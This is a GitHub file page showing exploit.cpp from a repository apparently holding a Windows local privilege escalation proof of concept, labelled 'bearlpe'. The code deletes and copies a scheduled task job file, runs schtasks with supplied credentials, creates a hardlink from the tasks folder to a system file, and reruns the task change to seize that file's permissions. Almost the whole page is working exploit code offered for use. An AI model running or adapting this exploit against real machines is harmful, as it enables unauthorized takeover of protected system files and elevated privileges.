Product Solutions Resources Open Source Enterprise Pricing Sign in Sign up

djhohnstein / **polarbearrepo** Public

Notifications Fork 329 Star 1

Code Pull requests Actions Projects Security Insights

Files

f26d3e0

Go to file

- bearlpe
  - pocfiles
  - polarbear
    - Release
    - polarbear
      - Hardlink.cpp
      - Storage.h
      - exploit.cpp
      - ntimports.h
      - polarbear.filters
      - polarbear.user
      - polarbear.vcxproj
      - polarbear.vcxproj.user
      - stdafx.cpp
      - stdafx.h
      - targetver.h
      - typed_buffer.h
    - polarbear.sln
  - demo.mp4
  - readme.rtf
- README.md

polarbearrepo / bearlpe / polarbear / polarbear / **exploit.cpp**

SandboxEscaper Add files via upload a2ecefb · 5 years ago **History**

Code Blame 41 lines (32 loc) · 1 KB Raw

```
#include <windows.h>
#include <stdio.h>
#include <stdlib.h>
#include <iostream>
#include <shlobj.h>

#pragma comment(lib, "shell32.lib")

bool CreateNativeHardlink(LPCWSTR linkname, LPCWSTR targetname);

int main(int argc, char *argv[])
{
        if (argc < 3)
        {
                printf("-Usage: polarbear.exe username password");
                return 0;
}
        DeleteFile(L"c:\\windows\\system32\\tasks\\Bear");
        char username[255];
        char password[255];
        strcpy_s(username, argv[1]);
        strcpy_s(password, argv[2]);
        std::string command = "schtasks /change /TN \"bear\" /RU ";
        std::string usernamestd(username);
        std::string passwordstd(password);
        command.append(usernamestd);
        command.append(" /RP ");
        command.append(passwordstd);
        CopyFile(L"bear.job", L"c:\\windows\\tasks\\bear.job",FALSE);
        system(command.c_str());
        DeleteFile(L"c:\\windows\\system32\\tasks\\Bear");
        CreateNativeHardlink(L"c:\\windows\\system32\\tasks\\bear", L"C:\\Windows\\syst
        system(command.c_str());

return 0;
}
```